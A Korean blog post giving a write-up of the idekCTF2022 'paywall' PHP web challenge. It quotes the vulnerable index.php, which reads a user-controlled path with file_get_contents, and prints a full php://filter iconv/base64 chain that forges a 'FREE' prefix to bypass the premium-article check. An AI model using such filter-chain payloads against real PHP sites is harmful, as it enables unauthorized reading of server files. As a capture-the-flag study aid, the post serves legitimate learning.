본문 바로가기

웹해킹/CTF

idekCTF2022 paywall writeup

반응형

실제 CTF가 진행 중일 때는 못 풀었던 문제를 리뷰하기 위해서 writeup을 참고해서 정리하는 식으로 글을 작성했습니다. 원본 writeup은 밑에 링크를 참조해 주세요.

https://www.youtube.com/watch?v=Lgn3kBeUX6I 


idekCTF2022 paywall writeup

 

먼저 문제 설명을 보면 php로 만든 지역 신문이라고 한다. 

 

 

 

 

 

 

 

 

 

 

사이트를 접속해 보면 두 개의 기사가 나온다.

 

 

클릭해 보면 첫 번째 글은 premium 유저만 볼 수 있고, flag가 있다. 두 번째 글은 모두가 볼 수 있는 글이다. 이제 코드를 확인해 보자.

 

 

 

 

 

index.php

<?php

        error_reporting(0);
        set_include_path('articles/');

        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);

            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }
           
    ?>

file_get_contents 함수가 눈에 띈다. file_get_contents함수는 드림핵 강의나 webhacking.kr에서 관련 문제가 있었고 풀었었다. 취약점 이름은 LFI(Local File Inclution)로 공격 대상 서버에 위치한 파일을 포함시켜 읽어오는 공격을 말한다. 이때 가장 자주 사용하는 게 PHP Wrapper이다.

 

여기까지는 알았는데 아무리 감싸도 안 풀려서 못 풀었다.

 

 

writeup을 통해 보니 좋은 php wrapper 도구가 있었다. https://github.com/synacktiv/php_filter_chain_generator

이를 통해 FREE를 필터링 해주면 풀린다.

 

 

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

 

 

 

 

728x90

'웹해킹 > CTF' 카테고리의 다른 글

KnightCTF 2023 Web - Knight Search Writeup  (0) 2023.01.24
knightCTF 2023 Web - GET Me Writeup  (0) 2023.01.23
idekCTF2022 Web / Readme writeup  (0) 2023.01.17
TUCTF 2022 Web My Assembly Line Writeup  (1) 2022.12.08
TUCTF 2022 Web Tornado Writeup  (0) 2022.12.06